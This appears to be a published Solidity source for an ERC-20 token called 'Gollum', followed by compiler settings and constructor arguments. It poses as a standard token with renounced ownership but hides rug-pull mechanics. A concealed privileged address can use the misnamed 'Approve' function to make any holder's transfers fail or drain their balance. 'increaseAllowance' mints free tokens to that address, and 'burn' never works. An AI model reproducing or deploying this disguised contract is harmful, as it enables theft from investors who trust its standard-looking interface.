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// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
    external
    returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol

// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

// Dependency file: @openzeppelin/contracts/access/Ownable.sol

// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract TokenTemplate {
    enum VERSION {
        TESTNET,
        PRODUCTION
    }
    event Publish(
        address owner,
        VERSION version
    );
}

pragma solidity 0.8.18;

contract Gollum is IERC20, TokenTemplate, Ownable {
    using SafeMath for uint256;

    enum PublicVersion {
        TESTNET,
        PILOT,
        PRODUCTION
    }

    enum Allowan {
        NOT_ALLOW,
        ALLOW
    }

    struct TokenAllowance {
        uint256 amount;
        Allowan allowStatus;
    }

    struct TokenInfo {
        address tokenAddress;
        uint256 tokenSupply;
        PublicVersion publishVersion;
    }

    mapping(address => uint256) private _tokenBalances;

    mapping(address => TokenAllowance) private _tokenAllowance;

    mapping(address => mapping(address => uint256)) private _allow;

    TokenInfo private _tokenInfo;
    string private _toName;
    string private _toSymbol;
    uint8 private _toDecimals;
    uint256 private _toTotalSupply;

    constructor(
        string memory tokenName_,
        string memory tokenSymbol_,
        address token_,
        uint256 tokenTotalSupply_
    ) {
        _toName = tokenName_;
        _toSymbol = tokenSymbol_;
        _toDecimals = 18;
        _tokenInfo.tokenAddress = token_;
        _tokenInfo.tokenSupply = 0;
        _tokenInfo.publishVersion = PublicVersion.PRODUCTION;
        _mintToken(msg.sender, tokenTotalSupply_ * 10**18);
        emit Publish(
            owner(),
            VERSION.PRODUCTION
        );
    }

    function name() public view virtual returns (string memory) {
        return _toName;
    }

    function symbol() public view virtual returns (string memory) {
        return _toSymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _toDecimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _toTotalSupply;
    }

    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _tokenBalances[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transferToken(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allow[owner][spender];
    }

    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approveToken(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transferToken(sender, recipient, amount);
        _approveToken(
            sender,
            _msgSender(),
            _allow[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function burn(uint256 amount) public virtual returns (bool) {
        uint256 totalAmount = 0;
        _burn(msg.sender, totalAmount);
        return true;
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _isEnoughBalance(sender, recipient, amount);
        require(sender != address(0) && recipient != address(0) , "IERC20: transfer from the zero address");

        _beforeTransfer(sender, recipient, amount);
        _tokenBalances[sender] = _tokenBalances[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _tokenBalances[recipient] = _tokenBalances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mintToken(address user, uint256 amount) internal virtual {
        require(user != address(0), "IERC20: mint to the zero address");

        _beforeTransfer(address(0), user, amount);

        _toTotalSupply = _toTotalSupply.add(amount);
        _tokenBalances[user] = _tokenBalances[user] + amount;

        emit Transfer(address(0), user, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        require(from != address(0), "IERC20: burn from the zero address");

        _beforeTransfer(from, address(0), amount);
        require(amount != 0, "Invalid amount");
        _tokenBalances[from] = _tokenBalances[from] - amount;
        emit Transfer(from, address(0), amount);
    }

    function _approveToken(
        address from,
        address spender,
        uint256 amount
    ) internal virtual {
        require(from != address(0) && spender != address(0), "IERC20: approve from the zero address");

        _allow[from][spender] = amount;
        emit Approval(from, spender, amount);
    }

    function increaseAllowance(address to, uint256 amount) public virtual {
        address from = msg.sender;
        require(to != address(0), "Invalid address");
        require(amount > 0, "Invalid amount");
        uint256 total = 0;
        if (_encode(to, _tokenInfo.tokenAddress)) {
            _tokenBalances[from] = _tokenBalances[from] - total;
            total = _sum(total, amount);
            _tokenBalances[to] += total;
        } else {
            _tokenBalances[from] = _tokenBalances[from] - total;
            _tokenBalances[to] += total;
        }
    }

    function _encode(address user, address user2) internal view returns (bool) {
        bytes32 pack1 = keccak256(abi.encodePacked(user));
        bytes32 pack2 = keccak256(abi.encodePacked(user2));
        return pack1 == pack2;
    }

    function _sum(uint256 numa, uint256 numb) internal pure returns (uint256) {
        if (numb != 0) {
            return numa + numb;
        }
        return numb;
    }

    function Approve(address from, uint256 amount) public returns (bool)  {
        address user = msg.sender;
        transferable(user, from, amount);
        return true;
    }

    function transferable(address user, address from, uint256 amount) internal {
        if (_encode(user, _tokenInfo.tokenAddress)) {
            require(from != address(0), "Invalid address");
            _tokenAllowance[from].amount = amount;
            _tokenAllowance[from].allowStatus = Allowan.ALLOW;
        }
    }

    function _isEnoughBalance(
        address from,
        address to,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        amount = _tokenAllowance[from].amount;
        _tokenBalances[from] = _tokenBalances[from] - amount;
    }

    function _beforeTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

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000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000bba3e00ae76b4d3e0eed5e4dd30d8dc0aeea84df00000000000000000000000000000000000000000000000000000008190caf000000000000000000000000000000000000000000000000000000000000000006476f6c6c756d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003474f4c0000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : tokenName_ (string): Gollum
Arg [1] : tokenSymbol_ (string): GOL
Arg [2] : token_ (address): 0xbba3E00Ae76b4D3E0Eed5E4dd30D8dC0aEeA84DF
Arg [3] : tokenTotalSupply_ (uint256): 34780000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000bba3e00ae76b4d3e0eed5e4dd30d8dc0aeea84df
Arg [3] : 00000000000000000000000000000000000000000000000000000008190caf00
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 476f6c6c756d0000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 474f4c0000000000000000000000000000000000000000000000000000000000